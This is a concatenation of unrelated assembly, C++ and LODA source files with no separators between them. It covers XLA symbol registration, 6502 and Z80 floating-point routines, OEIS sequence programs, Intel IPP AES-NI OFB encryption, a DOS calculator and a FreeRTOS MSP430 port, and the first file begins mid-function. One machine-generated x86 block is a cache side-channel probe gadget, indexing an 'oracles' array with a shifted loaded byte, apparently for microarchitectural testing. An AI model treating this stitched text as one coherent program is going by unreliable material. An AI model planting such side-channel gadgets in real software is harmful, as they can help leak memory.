REGISTER_CPU_RUNTIME_SYMBOL(EigenSingleThreadedMatMulC128); REGISTER_CPU_RUNTIME_SYMBOL(EigenSingleThreadedMatMulS32); REGISTER_CPU_RUNTIME_SYMBOL(ParallelForkJoin); REGISTER_CPU_RUNTIME_SYMBOL(PrintfToStderr); REGISTER_CPU_RUNTIME_SYMBOL(ReleaseInfeedBufferAfterDequeue); REGISTER_CPU_RUNTIME_SYMBOL(ReleaseOutfeedBufferAfterPopulation); REGISTER_CPU_RUNTIME_SYMBOL(KeyValueSort); REGISTER_CPU_RUNTIME_SYMBOL(TopKF32); REGISTER_CPU_RUNTIME_SYMBOL(TracingStart); REGISTER_CPU_RUNTIME_SYMBOL(TracingEnd); registry->Register("__gnu_f2h_ieee", reinterpret_cast<void*>(__gnu_f2h_ieee), "Host"); registry->Register("__gnu_h2f_ieee", reinterpret_cast<void*>(__gnu_h2f_ieee), "Host"); registry->Register("__truncdfhf2", reinterpret_cast<void*>(__truncdfhf2), "Host"); registry->Register("__powisf2", reinterpret_cast<void*>(__powisf2), "Host"); registry->Register("__powidf2", reinterpret_cast<void*>(__powidf2), "Host"); #undef REGISTER_CPU_RUNTIME_SYMBOL // Register both the f32 (float) and f64 (double) versions of a libm symbol. // Unfortunately the double versions are overloaded on some systems, e.g. // Mac so we need an explicit cast. This requires passing the function signature // for that case. #define REGISTER_LIBM_SYMBOL(name, double_sig) \ do { \ registry->Register(#name "f", reinterpret_cast<void*>(name##f), "Host"); \ registry->Register(#name, \ reinterpret_cast<void*>(static_cast<double_sig>(name)), \ "Host"); \ } while (false) REGISTER_LIBM_SYMBOL(acos, double (*)(double)); REGISTER_LIBM_SYMBOL(acosh, double (*)(double)); REGISTER_LIBM_SYMBOL(asin, double (*)(double)); REGISTER_LIBM_SYMBOL(asinh, double (*)(double)); REGISTER_LIBM_SYMBOL(atan, double (*)(double)); REGISTER_LIBM_SYMBOL(atan2, double (*)(double, double)); REGISTER_LIBM_SYMBOL(atanh, double (*)(double)); REGISTER_LIBM_SYMBOL(cbrt, double (*)(double)); REGISTER_LIBM_SYMBOL(ceil, double (*)(double)); REGISTER_LIBM_SYMBOL(copysign, double (*)(double, double)); REGISTER_LIBM_SYMBOL(cos, double (*)(double)); REGISTER_LIBM_SYMBOL(cosh, double (*)(double)); REGISTER_LIBM_SYMBOL(erf, double (*)(double)); REGISTER_LIBM_SYMBOL(erfc, double (*)(double)); REGISTER_LIBM_SYMBOL(exp, double (*)(double)); REGISTER_LIBM_SYMBOL(exp2, double (*)(double)); REGISTER_LIBM_SYMBOL(expm1, double (*)(double)); REGISTER_LIBM_SYMBOL(fabs, double (*)(double)); REGISTER_LIBM_SYMBOL(fdim, double (*)(double, double)); REGISTER_LIBM_SYMBOL(floor, double (*)(double)); REGISTER_LIBM_SYMBOL(fma, double (*)(double, double, double)); REGISTER_LIBM_SYMBOL(fmax, double (*)(double, double)); REGISTER_LIBM_SYMBOL(fmin, double (*)(double, double)); REGISTER_LIBM_SYMBOL(fmod, double (*)(double, double)); REGISTER_LIBM_SYMBOL(frexp, double (*)(double, int*)); REGISTER_LIBM_SYMBOL(hypot, double (*)(double, double)); REGISTER_LIBM_SYMBOL(ilogb, int (*)(double)); REGISTER_LIBM_SYMBOL(ldexp, double (*)(double, int)); REGISTER_LIBM_SYMBOL(lgamma, double (*)(double)); REGISTER_LIBM_SYMBOL(llrint, long long (*)(double)); // NOLINT(runtime/int) REGISTER_LIBM_SYMBOL(llround, long long (*)(double)); // NOLINT(runtime/int) REGISTER_LIBM_SYMBOL(log, double (*)(double)); REGISTER_LIBM_SYMBOL(log10, double (*)(double)); REGISTER_LIBM_SYMBOL(log1p, double (*)(double)); REGISTER_LIBM_SYMBOL(log2, double (*)(double)); REGISTER_LIBM_SYMBOL(logb, double (*)(double)); REGISTER_LIBM_SYMBOL(lrint, long (*)(double)); // NOLINT(runtime/int) REGISTER_LIBM_SYMBOL(lround, long (*)(double)); // NOLINT(runtime/int) REGISTER_LIBM_SYMBOL(modf, double (*)(double, double*)); REGISTER_LIBM_SYMBOL(nan, double (*)(const char*)); REGISTER_LIBM_SYMBOL(nearbyint, double (*)(double)); REGISTER_LIBM_SYMBOL(nextafter, double (*)(double, double)); REGISTER_LIBM_SYMBOL(nexttoward, double (*)(double, long double)); REGISTER_LIBM_SYMBOL(pow, double (*)(double, double)); REGISTER_LIBM_SYMBOL(remainder, double (*)(double, double)); REGISTER_LIBM_SYMBOL(remquo, double (*)(double, double, int*)); REGISTER_LIBM_SYMBOL(rint, double (*)(double)); REGISTER_LIBM_SYMBOL(round, double (*)(double)); REGISTER_LIBM_SYMBOL(scalbln, double (*)(double, long)); // NOLINT(runtime/int) REGISTER_LIBM_SYMBOL(scalbn, double (*)(double, int)); REGISTER_LIBM_SYMBOL(sin, double (*)(double)); #ifdef __APPLE__ REGISTER_LIBM_SYMBOL(__sincos, void (*)(double, double*, double*)); registry->Register("__sincosf_stret", reinterpret_cast<void*>(__sincosf_stret), "Host"); registry->Register("__sincos_stret", reinterpret_cast<void*>(__sincos_stret), "Host"); #else REGISTER_LIBM_SYMBOL(sincos, void (*)(double, double*, double*)); #endif REGISTER_LIBM_SYMBOL(sinh, double (*)(double)); REGISTER_LIBM_SYMBOL(sqrt, double (*)(double)); REGISTER_LIBM_SYMBOL(tan, double (*)(double)); REGISTER_LIBM_SYMBOL(tanh, double (*)(double)); REGISTER_LIBM_SYMBOL(tgamma, double (*)(double)); REGISTER_LIBM_SYMBOL(trunc, double (*)(double)); #undef REGISTER_LIBM_SYMBOL registry->Register("memcpy", reinterpret_cast<void*>(memcpy), "Host"); registry->Register("memmove", reinterpret_cast<void*>(memmove), "Host"); registry->Register("memset", reinterpret_cast<void*>(memset), "Host"); #ifdef __APPLE__ registry->Register("__bzero", reinterpret_cast<void*>(bzero), "Host"); registry->Register("memset_pattern16", reinterpret_cast<void*>(memset_pattern16), "Host"); #endif #ifdef MEMORY_SANITIZER registry->Register("__msan_unpoison", reinterpret_cast<void*>(__msan_unpoison), "Host"); #endif #if defined(PLATFORM_WINDOWS) registry->Register("__chkstk", reinterpret_cast<void*>(__chkstk), "Host"); #endif return true; } bool unused = RegisterKnownJITSymbols(); } // namespace } // namespace cpu } // namespace xla
; ******************************************************************************************* ; ******************************************************************************************* ; ; Name : fpdivide.asm ; Purpose : Divide B into A (floating point) ; Date : 18th August 2019 ; Review : 4th September 2019 ; Author : Paul Robson (paul@robsons.org.uk) ; ; ******************************************************************************************* ; ******************************************************************************************* FPD_IsDivZero: ; here because of short branches #Fatal "Division by zero" ; ******************************************************************************************* ; ; Divide X2 into X1 (floating point) ; ; ******************************************************************************************* FPDivide: pha phy bit XS2_Type,x ; check if division by zero bvs FPD_IsDivZero ; if X2 is zero, cause an error. ; bit XS_Type,x ; if 0/X (X is not zero) return 0 beq _FPDCalculateExp _FPD_Exit: ply pla rts ; ; Neither dividing by zero, nor dividing zero by something. ; _FPDCalculateExp: lda XS2_Exponent,x ; negate the 2nd exponent eor #$FF inc a sta XS2_Exponent,x jsr FPCalculateExponent ; then we can use the multiply version. clc ; add 1 to the resulting exponent adc #1 bcs _FPD_Overflow ; which can overflow. sta XS_Exponent,x ; ; Now do the actual division ; lda #0 ; clear result (kept in zLTemp1) sta zLTemp1+0 sta zLTemp1+1 sta zLTemp1+2 sta zLTemp1+3 ; ldy #32 ; times round. _FPD_Loop: sec ; calculate X1-X2 stacking result because we might lda XS_Mantissa,x ; not save it. sbc XS2_Mantissa,x pha lda XS_Mantissa+1,x sbc XS2_Mantissa+1,x pha lda XS_Mantissa+2,x sbc XS2_Mantissa+2,x pha lda XS_Mantissa+3,x sbc XS2_Mantissa+3,x ; bcc _FPD_NoSubtract ; if CC couldn't subtract without borrowing. ; sta XS_Mantissa+3,x ; save results out to A pla sta XS_Mantissa+2,x pla sta XS_Mantissa+1,x pla sta XS_Mantissa+0,x ; lda zLTemp1+3 ; set high bit of result ora #$80 sta zLTemp1+3 bra _FPD_Rotates ; _FPD_NoSubtract: pla ; throw away unwanted results pla pla ; _FPD_Rotates: #lsr32x XS2_Mantissa ; shift X2 right. asl32 zLTemp1 ; rotate result round left bcc _FPD_NoCarry inc zLTemp1 ; if rotated out, set LSB. _FPD_NoCarry: ; dey ; do 32 times bne _FPD_Loop ; jmp FPM_CopySignNormalize ; hijack multiply exit. _FPD_Overflow: jmp FP_Overflow
; signed int __fs2sint_callee(float f) SECTION code_fp_math48 PUBLIC cm48_sdccixp_ds2sint_callee EXTERN cm48_sdccixp_dcallee1, am48_dfix16 cm48_sdccixp_ds2sint_callee: ; double to signed int ; ; enter : stack = sdcc_float x, ret ; ; exit : hl = (int)(x) ; ; uses : af, bc, de, hl, bc', de', hl' call cm48_sdccixp_dcallee1 ; AC'= math48(x) jp am48_dfix16
; A080378: Residues mod 4 of the n-th difference between consecutive primes. ; 1,2,2,0,2,0,2,0,2,2,2,0,2,0,2,2,2,2,0,2,2,0,2,0,0,2,0,2,0,2,0,2,2,2,2,2,2,0,2,2,2,2,2,0,2,0,0,0,2,0,2,2,2,2,2,2,2,2,0,2,2,2,0,2,0,2,2,2,2,0,2,0,2,2,0,2,0,0,0,2,2,2,2,2,0,2,0,0,2,0,0,0,0,0,0,2,0,2,2,2 add $0,1 seq $0,40 ; The prime numbers. div $0,2 mul $0,2 sub $0,1 seq $0,64722 ; a(1) = 0; for n >= 2, a(n) = n - (largest prime <= n). add $0,5 mod $0,4
; A253487: Number of lattice paths of 2*n+2 steps in the first quadrant from (0,0) to (n,n). ; 2,16,90,448,2100,9504,42042,183040,787644,3359200,14226212,59907456,251100200,1048380480,4362680250,18103127040,74934688620,309509877600,1275964023180,5251296336000,21579247511640,88555121603520,362957071241700,1485969577717248,6077433001815000,24832661353549504,101379917235533832,413556788344564480,1685771408407600976,6866975703766147200,27954790467394119098,113733764868194709504,462468092037865493580,1879526625450177526368,7634899462522888091900,30999797416150295451264,125813302240814330592632,510407395728875353643200,2069853980802586384786380,8390806535284774748224000,34002994305086613526575240,137748748729198878288198720,557856166100405630441268600,2258538063064083195636890880,9141327309012854696677566000,36989071107208389786676026240,149632242459270045144245486820,605158955099916436122586675200,2446869881352521496938230362744,9891308288780803268118872280000,39976255058015473835970705643512,161532454842738361138370193904896,652574921838585715619611506153840,2635829075539024645482458658960768,10644458430483354169504503249630600,42978609851443046576631457888164864,173502791663322987673785445490490672,700307160825214861537376688967674240 mov $2,$0 mul $0,2 add $0,2 bin $0,$2 mov $1,$2 add $1,1 mul $0,$1 mul $0,2
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x4cbf, %rdx nop nop nop inc %r13 mov $0x6162636465666768, %rsi movq %rsi, (%rdx) and $44842, %r11 lea addresses_D_ht+0x9329, %rsi lea addresses_WT_ht+0xd05d, %rdi nop nop add %r14, %r14 mov $107, %rcx rep movsq nop add $33095, %r11 lea addresses_normal_ht+0x4279, %rdx nop cmp %r11, %r11 mov (%rdx), %edi nop nop nop inc %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %rbp push %rbx push %rdi push %rsi // Store lea addresses_D+0x1c10d, %rdi clflush (%rdi) nop nop and $618, %rbp movb $0x51, (%rdi) nop nop inc %r14 // Faulty Load lea addresses_RW+0x985d, %rdi nop nop nop nop cmp $11838, %rbx mov (%rdi), %r14w lea oracles, %rdi and $0xff, %r14 shlq $12, %r14 mov (%rdi,%r14,1), %r14 pop %rsi pop %rdi pop %rbx pop %rbp pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 1}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
;=============================================================================== ; Copyright 2014-2020 Intel Corporation ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. ;=============================================================================== ; ; ; Purpose: Cryptography Primitive. ; Rijndael Inverse Cipher function ; ; Content: ; Encrypt_RIJ128_AES_NI() ; ; %include "asmdefs.inc" %include "ia_emm.inc" %macro COPY_8U 4.nolist %xdefine %%dst %1 %xdefine %%src %2 %xdefine %%limit %3 %xdefine %%tmp %4 xor ecx, ecx %%next_byte: mov %%tmp, byte [%%src+ecx] mov byte [%%dst+ecx], %%tmp add ecx, 1 cmp ecx, %%limit jl %%next_byte %endmacro ;*************************************************************** ;* Purpose: RIJ128 OFB encryption ;* ;* void EncryptOFB_RIJ128_AES_NI(const Ipp32u* inpBlk, ;* Ipp32u* outBlk, ;* int nr, ;* const Ipp32u* pRKey, ;* int length, ;* int ofbBlks, ;* const Ipp8u* pIV) ;*************************************************************** %if (_IPP >= _IPP_P8) ;; ;; Lib = P8 ;; ;; Caller = ippsRijndael128DecryptOFB ;; segment .text align=IPP_ALIGN_FACTOR align IPP_ALIGN_FACTOR IPPASM EncryptOFB_RIJ128_AES_NI,PUBLIC USES_GPR esi,edi,ebx,ebp mov ebp, esp ; save original esp to use it to reach parameters %xdefine pInpBlk [ebp + ARG_1 + 0*sizeof(dword)] ; input block address %xdefine pOutBlk [ebp + ARG_1 + 1*sizeof(dword)] ; output block address %xdefine nr [ebp + ARG_1 + 2*sizeof(dword)] ; number of rounds %xdefine pKey [ebp + ARG_1 + 3*sizeof(dword)] ; key material address %xdefine len [ebp + ARG_1 + 4*sizeof(dword)] ; length of stream in bytes %xdefine ofbSize [ebp + ARG_1 + 5*sizeof(dword)] ; ofb blk size %xdefine pIV [ebp + ARG_1 + 6*sizeof(dword)] ; IV %xdefine SC (4) %assign BLKS_PER_LOOP (4) %xdefine tmpInp esp %xdefine tmpOut tmpInp+sizeof(oword) %xdefine locDst tmpOut+sizeof(oword) %xdefine locSrc locDst+sizeof(oword)*4 %xdefine locLen locSrc+sizeof(oword)*4 %xdefine stackLen sizeof(oword)+sizeof(oword)+sizeof(oword)*4+sizeof(oword)*4+sizeof(dword) sub esp,stackLen ; allocate stack mov eax, pIV ; get IV movdqu xmm0, oword [eax] ; movdqu oword [tmpInp], xmm0 ; and save into the stack mov eax, nr ; number of rounds mov ecx, pKey ; key material address lea eax, [eax*4] ; nr*16 offset (bytes) to end of key material lea eax, [eax*4] lea ecx, [ecx+eax] neg eax ; save -nr*16 mov nr, eax mov pKey, ecx ; save key material address mov esi, pInpBlk ; input stream mov edi, pOutBlk ; output stream mov ebx, ofbSize ; cfb blk size align IPP_ALIGN_FACTOR ;; ;; processing ;; .blks_loop: lea ebx, [ebx*BLKS_PER_LOOP] ; 4 cfb block cmp len, ebx cmovl ebx, len COPY_8U {locSrc}, esi, ebx, dl ; move 1-4 input blocks to stack mov ecx, pKey mov eax, nr mov dword [locLen], ebx xor edx, edx ; index align IPP_ALIGN_FACTOR .single_blk: movdqa xmm3, oword [ecx+eax] ; preload key material add eax, 16 movdqa xmm4, oword [ecx+eax] ; preload next key material pxor xmm0, xmm3 ; whitening align IPP_ALIGN_FACTOR .cipher_loop: add eax, 16 aesenc xmm0, xmm4 ; regular round movdqa xmm4, oword [ecx+eax] jnz .cipher_loop aesenclast xmm0, xmm4 ; irregular round movdqu oword [tmpOut], xmm0 ; save chipher output mov eax, ofbSize ; cfb blk size movdqu xmm1, oword [locSrc+edx] ; get src blocks from the stack pxor xmm1, xmm0 ; xor src movdqu oword [locDst+edx],xmm1 ;and store into the stack movdqu xmm0, oword [tmpInp+eax] ; update chiper input (IV) movdqu oword [tmpInp], xmm0 add edx, eax ; advance index mov eax, nr cmp edx, ebx jl .single_blk COPY_8U edi, {locDst}, edx, bl ; move 1-4 blocks to output mov ebx, ofbSize ; restore cfb blk size add esi, edx ; advance pointers add edi, edx sub len, edx ; decrease stream counter jg .blks_loop mov eax, pIV ; IV address movdqu xmm0, oword [tmpInp] ; update IV before return movdqu oword [eax], xmm0 add esp,stackLen ; remove local variables REST_GPR ret ENDFUNC EncryptOFB_RIJ128_AES_NI align IPP_ALIGN_FACTOR IPPASM EncryptOFB128_RIJ128_AES_NI,PUBLIC USES_GPR esi,edi %xdefine pInpBlk [esp + ARG_1 + 0*sizeof(dword)] ; input block address %xdefine pOutBlk [esp + ARG_1 + 1*sizeof(dword)] ; output block address %xdefine nr [esp + ARG_1 + 2*sizeof(dword)] ; number of rounds %xdefine pKey [esp + ARG_1 + 3*sizeof(dword)] ; key material address %xdefine len [esp + ARG_1 + 4*sizeof(dword)] ; length of stream in bytes %xdefine pIV [esp + ARG_1 + 5*sizeof(dword)] ; IV %xdefine SC (4) %assign BLKS_PER_LOOP (4) mov eax, pIV ; get IV movdqu xmm0, oword [eax] ; mov eax, nr ; number of rounds mov ecx, pKey ; key material address lea eax, [eax*4] ; nr*16 offset (bytes) to end of key material lea eax, [eax*4] lea ecx, [ecx+eax] neg eax ; save -nr*16 mov nr, eax mov esi, pInpBlk ; input stream mov edi, pOutBlk ; output stream mov edx, len ; length of stream align IPP_ALIGN_FACTOR ;; ;; processing ;; .blks_loop: movdqa xmm3, oword [ecx+eax] ; preload key material add eax, 16 align IPP_ALIGN_FACTOR .single_blk: movdqa xmm4, oword [ecx+eax] ; preload next key material pxor xmm0, xmm3 ; whitening movdqu xmm1, oword [esi] ; input block align IPP_ALIGN_FACTOR .cipher_loop: add eax, 16 aesenc xmm0, xmm4 ; regular round movdqa xmm4, oword [ecx+eax] jnz .cipher_loop aesenclast xmm0, xmm4 ; irregular round pxor xmm1, xmm0 ; xor src movdqu oword [edi],xmm1 ; and store into the dst mov eax, nr ; restore key material counter add esi, 16 ; advance pointers add edi, 16 sub edx, 16 ; decrease stream counter jg .blks_loop mov eax, pIV ; get IV address movdqu oword [eax], xmm0 ; update IV before return REST_GPR ret ENDFUNC EncryptOFB128_RIJ128_AES_NI %endif
; A071245: a(n) = n*(n-1)*(2*n^2+1)/6. ; 0,0,3,19,66,170,365,693,1204,1956,3015,4455,6358,8814,11921,15785,20520,26248,33099,41211,50730,61810,74613,89309,106076,125100,146575,170703,197694,227766,261145,298065,338768,383504,432531,486115,544530,608058,676989,751621,832260,919220,1012823,1113399,1221286,1336830,1460385,1592313,1732984,1882776,2042075,2211275,2390778,2580994,2782341,2995245,3220140,3457468,3707679,3971231,4248590,4540230,4846633,5168289,5505696,5859360,6229795,6617523,7023074,7446986,7889805,8352085,8834388,9337284 mov $1,$0 mul $1,$0 mov $2,$0 sub $0,$1 mul $0,$1 bin $2,2 sub $2,$0 mov $0,$2 div $0,3
org 100h .DATA M1 DB 'x=', '$' M2 DB ' y=', '$' M3 DB 'x+y=', '$' M4 DB ' x-y=', '$' .CODE PRINT MACRO CHAR PUSH AX PUSH DX ;store register values that will be changed MOV DL,CHAR MOV AH,2 INT 21H POP DX POP AX ENDM PRINT_STR MACRO STRING PUSH AX PUSH DX MOV DX,OFFSET STRING MOV AH,9 INT 21H POP DX POP AX ENDM NEWLINE MACRO PUSH BX MOV BL,13 PRINT BL MOV BL,10 ;ASCII code for new line PRINT BL POP BX ENDM MAIN PROC FAR REPEAT: PRINT_STR M1 CALL HEX_KEYB MOV BL,AL SHL BL,4 ;shift MSBs in correct position CALL HEX_KEYB ADD BL,AL ;BL now contains x PRINT_STR M2 CALL HEX_KEYB MOV CL,AL SHL CL,4 ;shift MSBs in correct position CALL HEX_KEYB ADD CL,AL ;CL now contains y NEWLINE PRINT_STR M3 MOV BH,0 MOV CH,0 MOV AX,BX ADD AX,CX ;AX=x+y CALL PRINT_DEC ;print AX in decimal form PRINT_STR M4 MOV AX,BX SUB AX,CX ;AX=x-y CMP BX,CX JAE POSITIVE PRINT "-" ;print '-' if negative NEG AX ;turn to positive POSITIVE: CALL PRINT_DEC NEWLINE JMP REPEAT MAIN ENDP HEX_KEYB PROC NEAR IGNORE: MOV AH,8 INT 21H ;read from keyboard, result in AL CMP AL,30H ;check if it is a hex digit JL IGNORE ;ASCII CODES 30H-39H and 41H-46H are hex digits CMP AL,46H JG IGNORE CMP AL,3AH JL FINISH1 CMP AL,40H JG FINISH2 JMP IGNORE FINISH1: PRINT AL ;print in hex form SUB AL,30H ;subtract 30H to convert character to hex digit (1-9) RET FINISH2: PRINT AL ;print in hex form SUB AL,37H ;subtract 37H to convert character to hex digit (A-F) RET HEX_KEYB ENDP PRINT_DEC PROC NEAR PUSH BX CMP AX,10 ;skip hundreds and tens if AX<10 JB ONES CMP AX,100 ;skip hundreds if AX<100 JB TENS MOV BL,100 DIV BL ;AL now contains hundreds, AH contains remainder ADD AL,30H ;ASCII code of digits 0-9 PRINT AL ;print hundreds MOV AL,AH ;AL now contains remainder (tens+ones) TENS: MOV AH,0 MOV BL,10 DIV BL ;AL now contains tens and AH contains ones ADD AL,30H ;ASCII code of digits 0-9 PRINT AL MOV AL,AH ONES: ADD AL,30H ;ASCII code of digits 0-9 PRINT AL POP BX RET PRINT_DEC ENDP ret
; A047425: Numbers that are congruent to {3, 4, 5, 6} mod 8. ; 3,4,5,6,11,12,13,14,19,20,21,22,27,28,29,30,35,36,37,38,43,44,45,46,51,52,53,54,59,60,61,62,67,68,69,70,75,76,77,78,83,84,85,86,91,92,93,94,99,100,101,102,107,108,109,110,115,116,117,118,123,124 mov $1,$0 div $1,4 mul $1,4 add $0,$1 add $0,3
/* * FreeRTOS Kernel V10.2.1 * Copyright (C) 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * http://www.FreeRTOS.org * http://aws.amazon.com/freertos * * 1 tab == 4 spaces! */ #include "FreeRTOSConfig.h" #include "portasm.h" .CODE /* * The RTOS tick ISR. * * If the cooperative scheduler is in use this simply increments the tick * count. * * If the preemptive scheduler is in use a context switch can also occur. */ _vTickISR: portSAVE_CONTEXT call #_xTaskIncrementTick cmp.w #0x00, r15 jeq _SkipContextSwitch call #_vTaskSwitchContext _SkipContextSwitch: portRESTORE_CONTEXT /*-----------------------------------------------------------*/ /* * Manual context switch called by the portYIELD() macro. */ _vPortYield:: /* Mimic an interrupt by pushing the SR. */ push SR /* Now the SR is stacked we can disable interrupts. */ dint /* Save the context of the current task. */ portSAVE_CONTEXT /* Switch to the highest priority task that is ready to run. */ call #_vTaskSwitchContext /* Restore the context of the new task. */ portRESTORE_CONTEXT /*-----------------------------------------------------------*/ /* * Start off the scheduler by initialising the RTOS tick timer, then restoring * the context of the first task. */ _xPortStartScheduler:: /* Setup the hardware to generate the tick. Interrupts are disabled when this function is called. */ call #_prvSetupTimerInterrupt /* Restore the context of the first task that is going to run. */ portRESTORE_CONTEXT /*-----------------------------------------------------------*/ /* Place the tick ISR in the correct vector. */ .VECTORS .KEEP ORG TIMERA0_VECTOR DW _vTickISR END
